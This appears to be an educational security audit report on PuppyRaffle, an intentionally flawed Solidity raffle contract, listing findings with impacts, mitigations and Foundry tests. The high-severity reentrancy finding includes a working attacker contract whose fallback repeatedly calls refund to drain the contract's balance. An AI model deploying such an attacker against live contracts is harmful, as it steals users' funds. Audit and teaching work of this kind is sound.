



PuppyRaffle Audit Report

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Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Impact		
High	Medium	Low

Impact				
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the [CodeHawks](#) severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 0804be9b0fd17db9e2953e27e9de46585be870cf
- In Scope:

Scope

```
./src/  
└─ PuppyRaffle.sol
```

Roles

Roles

- Owner** - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player** - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase. Patrick is such a wizard at writing intentionally bad code.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	1
Gas	2
Info	7

Severity	Number of issues found
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

    @> payable(msg.sender).sendValue(entranceFee);
    @> players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

- 1. User enters the raffle
- 2. Attacker sets up a contract with `fallback` function that calls `PuppyRaffle::refund`
- 3. Attacker enters the raffle
- 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

► Code

Place the following into `PuppyRaffleTest.t.sol`:

```

function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackContractBalance =
address(attackerContract).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    // attack
    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console.log("starting attacker contract balance:",
startingAttackContractBalance);
    console.log("starting contract balance:", startingContractBalance);

    console.log("ending attacker contract balance:",
address(attackerContract).balance);
    console.log("ending contract balance:",
address(puppyRaffle).balance);
}

```

And this contract as well:

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }
}

```

```

function _stealMoney() internal {
    if (address(puppyRaffle).balance >= entranceFee) {
        puppyRaffle.refund(attackerIndex);
    }
}

fallback() external payable {
    _stealMoney();
}

receive() external payable {
    _stealMoney();
}
}

```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```

function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee);
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}

```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao](#). `block.difficulty` was

recently replaced with `prevrandao`.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector](#) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;  
// 18446744073709551615  
myVar = myVar + 1  
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);  
// aka  
totalFees = 8000000000000000000 + 1780000000000000000  
// and this will overflow!  
totalFees =
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There  
are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

► Code

```

function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 8000000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players
active!");
    puppyRaffle.withdrawFees();
}

```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```

-    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");

```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, pulling the owness on the winner to claim their prize.
(Recommended)

Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns
(uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constnat`

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playerLength = players.length
- for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playerLength; j++) {
+           require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
+       }
+   }
}
```

Informational/Non-Critical

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol [Line: 2](#)

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least **0.8.0**) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither](#) documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

► 2 Found Instances

- Found in src/PuppyRaffle.sol [Line: 66](#)

```
feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol [Line: 206](#)

```
feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI

It's best to keep code clean and follow CEI (checks, effects, interactions).

```
-      (bool success,) = winner.call{value: prizePool}("");
-      require(success, "PuppyRaffle: Failed to send prize pool to
winner");
      _safeMint(winner, tokenId);
+      (bool success,) = winner.call{value: prizePool}("");
+      require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;  
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;  
uint256 public constant FEE_PERCENTAGE = 20;  
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed